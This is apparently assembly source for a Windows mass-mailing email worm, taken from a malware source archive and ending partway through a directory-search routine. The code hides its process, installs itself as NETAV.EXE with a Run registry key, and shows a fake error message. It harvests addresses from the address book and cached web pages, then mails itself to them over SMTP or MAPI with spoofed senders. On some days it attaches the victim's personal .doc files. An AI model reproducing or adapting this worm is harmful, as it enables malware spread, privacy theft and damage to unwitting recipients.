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MalwareSourceCode/Win32/InternetWorm/I-Worm.M4&VR.asm

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2020-10-10 03:25:52 +00:00
;-----------------------------------------------------------------------------
;------------------------------- -----------------------------------------
;----------------------------- ---------------------------------------
;--------------------------- I-Worm M4&VR ------------------------------------
;----------------------------- ---------------------------------------
;------------------------------- -----------------------------------------
;-----------------------------------------------------------------------------
.386p
.model flat
;--------------------------- Include Zone ------------------------------------
MEM_COMMIT equ 00001000h
MEM_RESERVE equ 00002000h
PAGE_READWRITE equ 00000004h
PAGE_READONLY equ 00000002h
FILE_ATTRIBUTE_NORMAL equ 080h
OPEN_EXISTING equ 03h
FILE_SHARE_READ equ 01h
GENERIC_READ equ 80000000h
FILE_MAP_WRITE equ 00000002h
FILE_MAP_READ equ 00000004h
CREATE_ALWAYS equ 2
GENERIC_WRITE equ 40000000h
;-------------------------- Macro Zone ---------------------------------------
@INIT_SehFrame macro Instruction
local OurSeh
call OurSeh
mov esp,[esp+08h]
Instruction
OurSeh:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm
@REM_SehFrame macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm
@pushsz macro string
local Str
call Str
db string,0
Str: endm
api macro a
extrn a:PROC
call a
endm
;------------------------ Constantes Zone ------------------------------------
SEH equ 1 ; SEH protection
NbEmailWanted equ 150 ; Nb Email to Seek >1
EmailSize equ 64 ; Attention rol eax,6 (2^6)
EmailFileSize equ (EmailSize*(NbEmailWanted+1)) ; For VirtualAlloc (+Security)
NbToSend equ 20 ; Send x emails per session
NbPersoWanted equ 20 ; Nb Personal document to Seek
PersoSize equ 256 ; Attention rol eax,8 (2^8)
PersoFileSize equ (PersoSize*(NbPersoWanted+1)) ; For VirtualAlloc (+Security)
MimeHeaderSize equ 1024 ; Mime Header size
;-----------------------------------------------------------------------------
;--------------------------- Code Zone ---------------------------------------
;-----------------------------------------------------------------------------
.code
Mv:
pushad
IF SEH
@INIT_SehFrame <jmp ExitMv> ; Init SEH
ENDIF
;------------------------- Check & Mark Presency -----------------------------
TryToOpenOurMutex:
xor eax, eax
@pushsz 'MvMutex' ; Mutex Name
push eax
push eax
api OpenMutexA ; already in mem
or eax,eax
jnz ExitMv ; Yes, do nothing more
CreateOurMutex:
xor eax, eax
@pushsz 'MvMutex' ; Mutex Name
push eax ; No owner
push eax ; default security attrib
api CreateMutexA ; create Our Mutex
mov dword ptr[MutexHdl], eax
;---------------------------- Random Init ------------------------------------
RandomInit:
api GetTickCount
mov RandomNb, eax
;---------------------- Hide Process on Win9x --------------------------------
HideProcess:
@pushsz "KERNEL32.dll"
api GetModuleHandleA
@pushsz "RegisterServiceProcess" ; Error on NT
push eax
api GetProcAddress
test eax, eax
jz GetOurPathName
push 01h
push 00h
call eax
;----------------------- Copy Worm in Sys Dir --------------------------------
GetOurPathName:
xor eax, eax
push eax
api GetModuleHandleA ; Our Handle
push 260
push offset MyPath
push eax
api GetModuleFileNameA ; Our Path
CreateDestPath:
push 260
push offset TempPath&Name
api GetSystemDirectoryA ; System Dir
@pushsz '\NETAV.EXE'
push offset TempPath&Name
api lstrcat ; Path+Name of File to Create
CheckHowExecuted:
push offset MyPath
push offset TempPath&Name
api lstrcmp
test eax, eax
jz AutoRun
CreateOurFile:
xor eax, eax
push eax ; Overwrite mode set
push offset TempPath&Name
push offset MyPath
api CopyFileA ; Copy Worm in Sys Dir
;------------------------- Registry Worm -------------------------------------
RegWorm:
push offset TempPath&Name
api lstrlen
push eax
push offset TempPath&Name
push 1
@pushsz "NETAV Agent"
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
push 80000002h
api SHSetValueA
;-------------------- First Launch Fake Message ------------------------------
FakeMessage:
push 1040
@pushsz 'Setup'
@pushsz 'This file does not work on this system'
push 0
api MessageBoxA
;---------------------- Check Email File & Create ----------------------------
AutoRun:
CheckEmailFile:
call Clear_TempPath&Name
push 260
push offset TempPath&Name
api GetSystemDirectoryA ; System Dir
push offset TempPath&Name
api SetCurrentDirectoryA ; Set sys dir
push offset search ; Push it
@pushsz 'ICMAIL.DLL' ; Mask
api FindFirstFileA ; find file
inc eax
jnz UpDateEmailList ; The File Exist
call CreateEmailFile ; Create It if Does not exist
;----------------------- Check if Update Time --------------------------------
UpDateEmailList:
lea esi,SystemTimeData
push esi
api GetSystemTime
movzx edx, word ptr[esi+4] ; Esi point day of week
cmp edx, 4 ; Jeudi ?
jne Check_if_Connected ; No
call CreateEmailFile ; Yes, Update Email File
;-------------------------- Spread the Worm ----------------------------------
Check_if_Connected:
push offset SystemTimeData
api GetSystemTime
push 0
push offset IConnectedStateTemp
api InternetGetConnectedState
dec eax
jnz No_internet ; No connection
call SendEmail ; Send Wab Emails + Rnd Email
jmp ExitMvMutex ; Then Bye
No_internet:
push 5*60*1000 ; 5 min
api Sleep
jmp Check_if_Connected
;----------------------------- The End ---------------------------------------
ExitMvMutex:
push dword ptr[MutexHdl]
api CloseHandle
ExitMv:
call FreeTheMem
IF SEH
@REM_SehFrame ; Restore SEH
ENDIF
popad
push 0
api ExitProcess ; Quit
db '---iworm.mv4&vr.by.tony/mvcrew---',0dh,0dh
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;------------------------- Sub Routine Zone ----------------------------------
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;........................ Major Sub Routine ..................................
;............................ Z O N E ........................................
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;...................... Create The Email File ................................
;.............................................................................
; OUT : Email File in System Dir : ICMAIL.DLL
CreateEmailFile:
mov dword ptr[NbEmailFound], 0
ReserveMem_For_EmailListe:
xor eax,eax
push PAGE_READWRITE ; read/write page
push MEM_RESERVE or MEM_COMMIT
push EmailFileSize
push eax ; System decide where
api VirtualAlloc
or eax,eax
jz EmailFileError ; Alloc Fail
mov dword ptr[EmailList], eax
EmailSeeker:
call SearchWabFile_Email ; Search Email address book
call SearchHtmFile_Email ; Search Email HTML
CreateTheEmailFile:
call Clear_TempPath&Name
push 260
push offset TempPath&Name
api GetSystemDirectoryA ; System Dir
@pushsz '\ICMAIL.DLL'
push offset TempPath&Name
api lstrcat ; Path+Name of File to Create
xor eax,eax
push eax
push eax
push CREATE_ALWAYS
push eax
push FILE_SHARE_READ
push GENERIC_WRITE
push offset TempPath&Name
api CreateFileA
inc eax
jz EmailFileError
dec eax
mov [TempFileHandle], eax
push 0
push offset ByteWritten
push EmailFileSize ; Copy Listes d'Emails
push dword ptr [EmailList]
push [TempFileHandle]
api WriteFile
push dword ptr [TempFileHandle]
api CloseHandle
EmailFileError:
ret
;........................ Find Email in HTML .................................
;.............................................................................
; Recursive Search from Internet Path for Email in Html
SearchHtmFile_Email:
call Clear_TempPath&Name
push 00h
push 20h ; Internet Path
push offset TempPath&Name
push 00h
api SHGetSpecialFolderPathA
push offset TempPath&Name
api SetCurrentDirectoryA ; Selected dir = Internet Path
lea eax, SeekHtmlCurrentDir
mov dword ptr[RoutineToCall], eax
call AllSubDirSearch ; Action = SeekHtmlCurrentDir
ret
;.............. Seek Html in Current Dir
; IN: Selected Current dir
; OUT: Emails in reserved Mem
SeekHtmlCurrentDir:
cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !
je HtmlEmailSearchEnd ; YES...
lea edi, search
push edi
@pushsz '*.*htm*'
api FindFirstFileA
inc eax
jne SeekEmail_Html
ret
SeekEmail_Html:
dec eax
xchg eax,esi
SeekEmail_Html_Loop:
call SeekEmail_In_ThisHtml ; Parse Html 4 emails
cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !
je HtmlEmailSearchFin ; YES...
push edi
push esi
api FindNextFileA
dec eax
je SeekEmail_Html_Loop
HtmlEmailSearchFin:
push esi
api FindClose
HtmlEmailSearchEnd:
ret
;.............. Parse Html for emails
SeekEmail_In_ThisHtml:
pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
lea eax, [search.FileName]
push eax
api CreateFileA
inc eax
je HtmlEmailSearchEnd ; Only ret for the call
dec eax ; Not the total end
xchg eax,ebx
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push ebx
api CreateFileMappingA
test eax,eax
je CloseHtmlHandle
xchg eax,ebp
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push ebp
api MapViewOfFile
test eax,eax
je CloseHtml_MapHandle
xchg eax,esi
mov [maphandlemail],esi
mov [esi_save],esi
push 0
push ebx
api GetFileSize
xchg eax,ecx
jecxz CloseHtml_MapViewHandle
inc ecx
jz CloseHtml_MapViewHandle ; GetFileSize Error ?
dec ecx
FixBugOverflow:
sub ecx, 8
cmp ecx, 0
jl CloseHtml_MapViewHandle
SeekMailToStr:
mov esi,[esi_save]
call MTStr
db 'mailto:'
MTStr:
pop edi
ScanFor_MailTo:
pushad
push 7
pop ecx
rep cmpsb ; search for "mailto:"
popad ; string
je MailToFound_CheckEmail ; check the mail address
inc esi
dec ecx
jnz ScanFor_MailTo
CloseHtml_MapViewHandle:
push [maphandlemail]
api UnmapViewOfFile
CloseHtml_MapHandle:
push ebp
api CloseHandle
CloseHtmlHandle:
push ebx
api CloseHandle
popad
ret
MailToFound_CheckEmail:
inc esi
mov [esi_save],esi
dec esi
mov edi, dword ptr [EmailList]
mov edx, dword ptr [NbEmailFound]
rol edx, 6 ; 64 = email size stockage
add edi, edx ; goto next place
mov [EmailCurrentPos], edi
xor edx,edx
add esi,7
push edi ; mail address
NextChar:
lodsb
cmp al, ' '
je SkipChar
cmp al, '"' ; eMail End ?
je EndChar
cmp al, '?' ; eMail End ?
je EndChar
cmp al, '>' ; eMail End ?
je EndChar
cmp al, '<' ; eMail End ?
je EndChar
cmp al, ']' ; eMail End ?
je EndChar
cmp al, '''' ; eMail End ?
je EndChar
cmp al, '@' ; Valid email ?
jne CopyChar
inc edx
CopyChar:
stosb
jmp NextChar
SkipChar:
inc esi
jmp NextChar
EndChar:
xor al,al
stosb
pop edi
test edx,edx ; if EDX=0, mail is not
je SeekMailToStr ; valid (no '@')
cmp dword ptr [NbEmailFound], 0
je NoEmailYet
mov edi, [EmailCurrentPos]
mov eax, [edi]
sub edi, 64
cmp eax, [edi]
je SeekMailToStr
NoEmailYet:
inc dword ptr [NbEmailFound]
cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !
je CloseHtml_MapViewHandle ; YES...
jmp SeekMailToStr ; get next email address
;........................ Find Email in WAB ..................................
;.............................................................................
SearchWabFile_Email:
call Clear_TempPath&Name
GetWabPath:
mov dword ptr[KeySize], 260 ; Init Size to get
push offset KeySize
push offset TempPath&Name
push offset Reg
push 0
@pushsz "Software\Microsoft\Wab\WAB4\Wab File Name"
push 80000001h
api SHGetValueA
test eax, eax
jne EndWab
Open&Map_WabFile:
call Open&MapFile
jc EndWab
WabSearchEmail:
mov ecx, [eax+64h] ; Nb of address
jecxz WabUnmapView ; No address
mov dword ptr[NbEmailFound], ecx ; For the Html search
mov [NbWabEmail],ecx ; For the emailfile
TruncFriend:
cmp ecx, NbEmailWanted ; Too many Friend
jbe NotManyFriend
mov ecx, NbEmailWanted ; To many @, reduce it
dec ecx ; for Html search (inc [NbEmailFound]!)
mov dword ptr[NbEmailFound], ecx ; For the Html search
mov [NbWabEmail],ecx ; For the emailfile
NotManyFriend:
mov esi, [eax+60h] ; email @ array
add esi, eax ; normalise
mov edi, dword ptr[EmailList] ; where store email
GetWabEmailLoop:
call StockWabEmail
dec ecx
jnz GetWabEmailLoop
WabUnmapView:
call Open&MapFileUnmapView
EndWab:
ret
StockWabEmail:
push ecx esi
push 40h
pop ecx
cmp byte ptr [esi+1],0
jne StockWabEmailLoop
StockWabEmailUnicodeLoop:
lodsw ; Unicode
stosb ; Ansi
dec ecx
test al, al
jne StockWabEmailUnicodeLoop
add edi, ecx ; next email field in Dest
pop esi ecx
add esi, 44h ; next email field in Wab
ret
StockWabEmailLoop:
movsb ; Ansi
dec ecx
test al, al
jne StockWabEmailLoop
add edi, ecx ; next email field in Dest
pop esi ecx
add esi, 24h ; next email field in Wab
ret
;..................... Send Email SMTP or MAPI ...............................
;.............................................................................
; OUT: Send via SMTP or MAPI #NbToSend Ramdom EmailAddress from EmailFile
SendEmail:
call MapEmailFile ; Map The Email File
jnc HowToSend
ret
HowToSend:
mov byte ptr[SmtpFlag], 0 ; init flag to 0
call GetUserSmtpServer ; Default Smtp Serveur Found ?
jc MapiSendVersion ; No
not byte ptr[SmtpFlag] ; flag = 1
MapiSendVersion:
not byte ptr[SmtpFlag] ; flag=0 if SMTP, flag=1 -> MAPI
MapEmailFileOk:
lea esi, SystemTimeData
movzx ecx, word ptr[esi+4] ; Esi point day of week
cmp ecx, 2 ; Mardi
jne _NormalSend
mov byte ptr[PayloadFlag], 1
call PersonalDocSearch ; Personal doc path in mem
_NormalSend:
call NormalSendInit ; init attachement 4 Normal Send
mov ebx, NbToSend ; Send NbToSend emails per session
SendRandomEmailLoop:
call SelectEmail ; return email ads in esi
jecxz SendBye ; EmailFile empty or NonExploitable
lea edi, CurrentEmail ; <-----------------
mov ecx, EmailSize ; |
rep movsb ; Copy rnd Email in |
xor al, al
sub esi, EmailSize
xchg edi, esi
mov ecx, EmailSize
rep stosb ; Remove email sent in EmailFile
PaySendTime:
cmp byte ptr[PayloadFlag], 0
je NormalSend
call PayloadSendInit ; Personals doc name in MyPath
NormalSend:
call BuildMessageHeader ; build the mime header
cmp byte ptr[SmtpFlag], 0
jne MapiSendIt ; flag=1 -> MAPI
call SmtpConnection
jc MapiSendIt ; smtp error -> mapi send
call SmtpSendCommand
jc MapiSendIt ; smtp error -> mapi send
call SmtpDisConnection
jmp SendNext ; If here No Mapi Needed
MapiSendIt:
call MapiSend
SendNext:
cmp byte ptr[PayloadFlag], 0
je NormalSendNext
call ReleasePayMem
NormalSendNext:
call ClearHeaderMem
dec ebx
jnz SendRandomEmailLoop ; Send #NbToSend emails
SendBye:
jmp Open&MapFileUnmapView ; Clean De-map EmailFile
;.............. Select Email to Send
; OUT: esi point on the email
; ecx = 0 if error
; select first the email from the *.WAB
SelectEmail:
mov ecx, NbEmailWanted
inc ecx
SelectIT:
dec ecx
jz SelectEmailError
mov esi, dword ptr [mapaddress] ; emails from file in memory
mov edi, NbEmailWanted ; Rnd Range
call GetRndNumber ; Rnd Nb in edx
cmp dword ptr[NbWabEmail], 0
je TriEMails
dec dword ptr[NbWabEmail]
mov edx, dword ptr[NbWabEmail]
TriEMails:
rol edx, 6 ; edx*emailsize (64)
add esi, edx ; esi on the email
mov eax, dword ptr [esi]
test eax, eax ; No empty email
je SelectIT
mov eax, dword ptr [esi]
or eax, 20202020h ; Lower case
cmp eax, 'mbew' ; No webmaster@xxxxxxxx
je SelectIT
mov eax, dword ptr [esi]
or eax, 20202020h ; Lower case
cmp eax, 'ptth' ; No http:\\xxxxxxxxxxx
je SelectIT
SelectEmailError:
ret
;.............. Normal Init The Attachement File
; Routine appel<65>e tout le temps (Payload ou pas) -> Init du mess: header + body
NormalSendInit:
InitWhoSendName:
call ResMemHeader ; Some Mem for the mime header
mov dword ptr[KeySize], 00000040h ; Init Size to get
push offset KeySize
push offset mailfrom
push offset Reg
@pushsz "SMTP Email Address" ; User mail (for mail from:)
lea eax, AccountKey
push eax
push 80000001h
api SHGetValueA
test eax, eax
je InitWormName
mov byte ptr[UserEmailFoundFlag], 1
InitWormName:
xor al,al
mov ecx,260
lea edi, MyPath
rep stosb
push 260
push offset MyPath
api GetSystemDirectoryA ; System Dir
@pushsz '\NETAV.EXE'
push offset MyPath
api lstrcat ; Path+Name 4 Mapi Send&Smtp CodeB64File
SmtpNormalSendInit:
call CodeB64File ; return worm file encoded in mem
ret
;.............. Build Message Header
BuildMessageHeader:
push ebx ; for the loop
cmp byte ptr[UserEmailFoundFlag], 0
je BuildHeader
CreateNameFrom:
xor al, al
lea edi, mailfrom
mov ecx, EmailSize
rep stosb
push NbFromName ; nb name
pop edi
call GetRndNumber ; edx = rnd nb
lea edi, RndFromNameTb
rol edx, 2 ; table de dd
add edi, edx ; Point the right Name offset
mov edi, [edi]
push edi ; User mail not found -> fix another name
push offset mailfrom
api lstrcat
CreateServFrom:
push NbFromServ ; nb serv
pop edi
call GetRndNumber ; edx = rnd nb
lea edi, RndFromServTb
rol edx, 2 ; table de dd
add edi, edx ; Point the right Serv offset
mov edi, [edi]
push edi ; User mail not found -> fix another name
push offset mailfrom
api lstrcat
BuildHeader:
mov esi, dword ptr[MemMessageBody1] ; some mem
BuildFrom:
@pushsz 'From: ' ; From:
push esi
api lstrcat
push offset mailfrom ; user mail or another fixed
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
BuildTo:
@pushsz 'To: ' ; To:
push esi
api lstrcat
push offset CurrentEmail ; Email found in *.wab or Html
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
BuildSubject:
@pushsz 'Subject: ' ; Subject:
push esi
api lstrcat
push NbSubject ; nb Subject
pop edi
call GetRndNumber ; edx = rnd nb
lea edi, RndSubjectTb
rol edx, 2 ; table de dd
add edi, edx ; Point the right Subject offset
mov edi, [edi]
push edi ; Rnd Subject
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
BuildBody:
push offset MessageBody1 ; Mime bordel jusqu'a -> email message
push esi
api lstrcat
BuiltEmailMessage:
push NbRndText ; nb Text
pop edi
call GetRndNumber ; edx = rnd nb
lea edi, RndTextTb
rol edx, 2 ; table de dd
add edi, edx ; Point the right Text offset
mov edi, [edi]
push edi ; Rnd Text
push esi
api lstrcat
BuildBody1b:
push offset MessageBody1b ; email message -> name=
push esi
api lstrcat
cmp byte ptr[PayloadFlag],0
jne BuildFileNamePay
BuildFileNameNormal:
push NbRndFileName ; nb FileName
pop edi
call GetRndNumber ; edx = rnd nb
lea edi, RndFileNameTb
rol edx, 2 ; table de dd
add edi, edx ; Point the right Text offset
mov edi, [edi]
push edi ; Rnd File in name=
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
push offset MessageBody1c ; .EXE",CRLF -> filename=
push esi
api lstrcat
push edi ; Rnd File in filename=
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
jmp BuildSizeBody1
BuildFileNamePay:
call Clear_TempPath&Name
push 260
push offset TempPath&Name
push offset MyPath
api GetFileTitleA
@pushsz '"'
push esi
api lstrcat
push offset TempPath&Name
push esi
api lstrcat
@pushsz '"'
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
push offset MessageBody1c ; .EXE",CRLF -> filename=
push esi
api lstrcat
@pushsz '"'
push esi
api lstrcat
push offset TempPath&Name
push esi
api lstrcat
@pushsz '"'
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
@pushsz CRLF
push esi
api lstrcat
BuildSizeBody1:
push esi
api lstrlen
mov dword ptr[MessageSize1], eax ; Header+Mime bordel lenght for send cmd
BuildMessageHeaderError:
pop ebx ; for the loop
ret
;.............. Payload Init The Attachement File
PayloadSendInit:
push ebx ; For The send Loop
mov edi, dword ptr[NbPersonalFound] ; Rnd Range
call GetRndNumber ; Rnd Nb in edx
PayMapiSendInit:
xor al,al
mov ecx,260
lea edi, MyPath
rep stosb
mov esi, dword ptr [PersoDocListe]
rol edx, 8
add esi, edx ; esi = perso doc path
lea edi, MyPath
mov ecx, 256 ; Perso path size
rep movsb
PaySmtpSendInit:
call CodeB64File ; return perso file encoded in mem
pop ebx ; For The send Loop
ret
;.............. Some Mem For The Mime Header
ReleasePayMem:
push ebx
mov ecx, dword ptr [MemEncoded]
call MemFreeIt
mov ecx, dword ptr [MemToEncode]
call MemFreeIt
pop ebx
ret
ClearHeaderMem:
xor al,al
mov ecx, MimeHeaderSize
mov edi, dword ptr[MemMessageBody1]
rep stosb
ret
;.............. Some Mem For The Mime Header
ResMemHeader:
xor eax,eax
push PAGE_READWRITE ; read/write page
push MEM_RESERVE or MEM_COMMIT
push MimeHeaderSize
push eax ; System decide where
api VirtualAlloc
mov dword ptr[MemMessageBody1], eax
ret
;.............. Map The Email File
;OUT: eax = mapaddress
; cf = 0 if no error
MapEmailFile:
call Clear_TempPath&Name
push 260
push offset TempPath&Name
api GetSystemDirectoryA
@pushsz '\ICMAIL.DLL'
push offset TempPath&Name
api lstrcat ; Path+Name
call Open&MapFile
ret
;.......................... Send Via MAPI ....................................
;.............................................................................
MapiSend:
push ebx ; For The send Loop
xor eax, eax
push eax
push eax
push offset MapiMessage
push eax
push dword ptr [MAPISession]
api MAPISendMail
pop ebx ; For The send Loop
ret
;........................... Send via SMTP ...................................
;.............................................................................
; 4 Part:
; - GetLocalSmtpServeur: Find default SMTP server
; - SmtpConnection: Init Socket + Connect to Smpt host
; - SmtpSendCommand: Send all the commands
; - SmtpDisConnection: Clean + Disconnect
;.............. Get User Server
GetUserSmtpServer:
GetUserInternetAccount:
mov dword ptr[KeySize], 00000040h ; Init Size to get
push offset KeySize
push offset AccountSubKey
push offset Reg
@pushsz "Default Mail Account"
@pushsz "Software\Microsoft\Internet Account Manager"
push 80000001h
api SHGetValueA
test eax, eax
jne GetUserSmtpServerError
GetUserInternetServer:
mov dword ptr[KeySize], 00000040h ; Init Size to get
push offset KeySize
push offset SmtpServeur
push offset Reg
@pushsz "SMTP Server"
lea eax, AccountKey
push eax
push 80000001h
api SHGetValueA
test eax, eax
jne GetUserSmtpServerError
clc
ret
GetUserSmtpServerError:
stc
ret
;.............. Smtp Connection
SmtpConnection:
pushad
push offset WSAData ; Struct WSA
push 101h ; VERSION1_1
api WSAStartup ; Socket Init
test eax,eax ; ok ?
jne WSA_Error ; No, exit with stc
push 0 ; Protocol = 0 (more sure)
push 1 ; SOCK_STREAM
push 2 ; AF_INET (most used)
api socket ; create socket
inc eax ; -1 = error
je Socket_Error ; WSACleanUp and stc
dec eax
mov [hSocket],eax ; Socket Handle
push 25 ; Smtp port
api htons ; Convert it
mov word ptr[wsocket+2], ax ; The port ( 2 ptr[wsocket]=AF_INET )
push offset SmtpServeur ; The SMPT Host
api gethostbyname ; SMPT to IP
test eax,eax ; error ?
je Error_CloseSocket&CleanUp ; Exit + stc
mov eax,[eax+10h] ; get ptr 2 IP into HOSTENT
mov eax,[eax] ; get ptr 2 IP
mov [ServeurIP],eax ; Save it
push 010h ; size of sockaddr struct
push offset wsocket ; Ptr on it
push [hSocket] ; Handle
api connect ; connect to smtp server
inc eax
je Error_CloseSocket&CleanUp ; Exit + stc
call GetServeurReply ; get server response
jc Error_CloseSocket&CleanUp ; If c=0 Connection OK !
popad
clc
ret
GetServeurReply:
push 0 ; Flags
push 4 ; Get a LongWord
push offset ServeurReply ; in ServeurReply
push [hSocket]
api recv ; get stmp server error code
cmp eax, 4 ; Receive a LongWord
jne ReplyError ; No, stc
ServeurReplyLoop:
mov ebx, offset ServeurReplyEnd ; Get a byte In
push 0 ; Flags
push 1 ; a byte
push ebx
push [hSocket]
api recv
jne ReplyError
cmp byte ptr [ebx], 0Ah
jne ServeurReplyLoop ; skip over CRLF
mov eax, [ServeurReply]
cmp eax, ' 022'
je ReplyOk
cmp eax, ' 052'
je ReplyOk
cmp eax, ' 152'
je ReplyOk
cmp eax, ' 453'
jne ReplyError
ReplyOk:
clc
ret
ReplyError:
stc
ret
;.............. Smtp DisConnection
SmtpDisConnection:
pushad
Error_CloseSocket&CleanUp:
push dword ptr [hSocket]
api closesocket
Socket_Error:
api WSACleanup
WSA_Error:
popad
stc
ret
;.............. Smtp Send
SmtpSendCommand:
pushad
SendHelloCmd:
mov esi,offset cmd_helo ; 'HELO xxx',CRLF
push 14 ; cmd size
pop ecx ; cmd size
call SendSocket ; send HELO command
call GetServeurReply ; Ok ?
jc Error_CloseSocket&CleanUp ; No
SendMailFromCmd:
mov esi,offset cmd_mailfrom ; 'MAIL FROM:<'
push 11 ; cmd size
pop ecx ; size
call SendSocket ; send MAIL FROM command
mov esi,offset mailfrom ; ptr default user email
push esi
api lstrlen
xchg ecx, eax
call SendSocket ; 2<> Write xxxx@xxxx.xx
call Brk1
db '>',CRLF
Brk1: pop esi
push 3
pop ecx
call SendSocket ; 3<> Write '>',CRLF
call GetServeurReply ; Ok
jc Error_CloseSocket&CleanUp ; No
SendRcptToCmd:
mov esi,offset cmd_rcptto ; 'RCPT TO:<'
push 9 ; cmd size
pop ecx ; cmd size
call SendSocket ; 1<> Write 'RCPT TO:<'
mov esi,offset CurrentEmail ; ptr email
push esi
api lstrlen
xchg ecx, eax
call SendSocket ; 2<> Write xxxx@xxxx.xx
call Brk2
db '>',CRLF
Brk2: pop esi
push 3
pop ecx
call SendSocket ; 3<> Write '>',CRLF
call GetServeurReply ; Ok
jc Error_CloseSocket&CleanUp ; No
SendDataCmd:
mov esi,offset cmd_data ; 'DATA',CRLF
push 6 ; Size
pop ecx ; Size
call SendSocket ; send DATA command
call GetServeurReply ; Ok
jc Error_CloseSocket&CleanUp ; No
SendeMailBody:
mov esi, dword ptr[MemMessageBody1] ; Start Message Body
mov ecx, dword ptr[MessageSize1]
call SendSocket
mov esi,dword ptr [MemEncoded] ; Encoded File
mov ecx,dword ptr [EncodedFileSize]
call SendSocket
mov esi, offset MessageBody2 ; End Message Body
mov ecx, MessageSize2
call SendSocket
SendTermCmd:
mov esi,offset cmd_term ; CRLF,'.',CRLF
push 5 ; size
pop ecx ; size
call SendSocket ; send message header+body
call GetServeurReply ; Ok ?
jc Error_CloseSocket&CleanUp ; No
SendQuitCmd:
mov esi,offset cmd_quit ; 'QUIT',CRLF
push 6 ; size
pop ecx ; size
call SendSocket ; send QUIT command
popad
clc
ret
SendSocket:
push 0 ; Flags
push ecx ; size
push esi ; Source
push [hSocket] ; Handle
api send
ret
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;........................ Minor Sub Routine ..................................
;............................ Z O N E ........................................
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;........................ Open & Map a File ..................................
;.............................................................................
; IN: TempPath&Name = Path + Name of file to Open
; OUT: fhandle, maphandle, mapaddress
; cf = 0 ou 1
Open&MapFile:
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ or GENERIC_WRITE
push Offset TempPath&Name
api CreateFileA
inc eax
je Open&MapFileError
dec eax
mov dword ptr [fhandle], eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READWRITE
push eax
push dword ptr [fhandle]
api CreateFileMappingA
or eax,eax
jz Open&MapFileCloseFileHandle
mov dword ptr [maphandle],eax
xor ebx,ebx
push ebx
push ebx
push ebx
push FILE_MAP_WRITE
push eax
api MapViewOfFile
or eax,eax
jz Open&MapFileCloseMapHandle
mov dword ptr [mapaddress], eax
clc
ret
Open&MapFileUnmapView:
push dword ptr [mapaddress]
api UnmapViewOfFile
Open&MapFileCloseMapHandle:
push dword ptr [maphandle]
api CloseHandle
Open&MapFileCloseFileHandle:
push dword ptr [fhandle]
api CloseHandle
Open&MapFileError:
stc
ret
;...................... Search Personal Documents ............................
;.............................................................................
; OUT - Personal Doc Path in Mem in $ [PersoDocListe]
PersonalDocSearch:
xor eax,eax
push PAGE_READWRITE ; read/write page
push MEM_RESERVE or MEM_COMMIT
push PersoFileSize
push eax ; System decide where
api VirtualAlloc
test eax, eax
je PersonalDocSearchError
mov dword ptr[PersoDocListe], eax
call Clear_TempPath&Name
push 00h
push 05h ; Personal Path
push offset TempPath&Name
push 00h
api SHGetSpecialFolderPathA
push offset TempPath&Name
api SetCurrentDirectoryA ; Selected dir = Personal Path
lea eax, FindPersonalFile
mov dword ptr[RoutineToCall], eax
call AllSubDirSearch ; Action = FindPersonalFile
PersonalDocSearchError:
ret
;.............. Search Personal File
FindPersonalFile:
cmp dword ptr[NbPersonalFound], NbPersoWanted ; Enought Perso File
je NoMorePersonalFile
push offset search
@pushsz "*.doc"
api FindFirstFileA
mov dword ptr [PersonalSearchHandle], eax
inc eax
jz NoMorePersonalFile
PersonalDocumentFound:
mov edi, dword ptr[PersoDocListe]
mov edx, dword ptr[NbPersonalFound]
rol edx, 8
add edi, edx ; Right Pos
push edi
push 260
api GetCurrentDirectoryA ; The dir
@pushsz '\'
push edi
api lstrcat ; The \
push offset [search.FileName]
push edi
api lstrcat ; The Name
inc dword ptr[NbPersonalFound] ; Next One
cmp dword ptr[NbPersonalFound], NbPersoWanted ; Enought Perso File
je EnoughtPerso
FindPersonalFileNext:
push offset search
push dword ptr [PersonalSearchHandle]
api FindNextFileA
test eax, eax
jnz PersonalDocumentFound
EnoughtPerso:
push dword ptr [PersonalSearchHandle]
api FindClose
NoMorePersonalFile:
ret
;.............. Search in all Sub Dir + Action in ............................
; IN: - Root dir Selected for the Search begin
; - RoutineToCall = SeekHtmlCurrentDir
; OUT: - What perform RoutineToCall in all subdir of selected Root
AllSubDirSearch:
xor ebx,ebx
FindFirstDir:
lea edi, search
push edi
@pushsz "*.*"
api FindFirstFileA
mov dword ptr [RecSearchHandle],eax
inc eax
jz FirstDirNotFound
DirTravel:
bt word ptr[search.FileAttributes],4
jnc FindNextDir
lea eax,[search.FileName]
cmp byte ptr [eax],"."
jz FindNextDir
push eax
api SetCurrentDirectoryA
InNewDir_Action:
pushad
call dword ptr[RoutineToCall] ; THE Action
popad
push dword ptr [RecSearchHandle]
inc ebx
jmp FindFirstDir
FindNextDir:
push edi
push dword ptr [RecSearchHandle]
api FindNextFileA
or eax,eax
jnz DirTravel
FirstDirNotFound:
@pushsz ".."
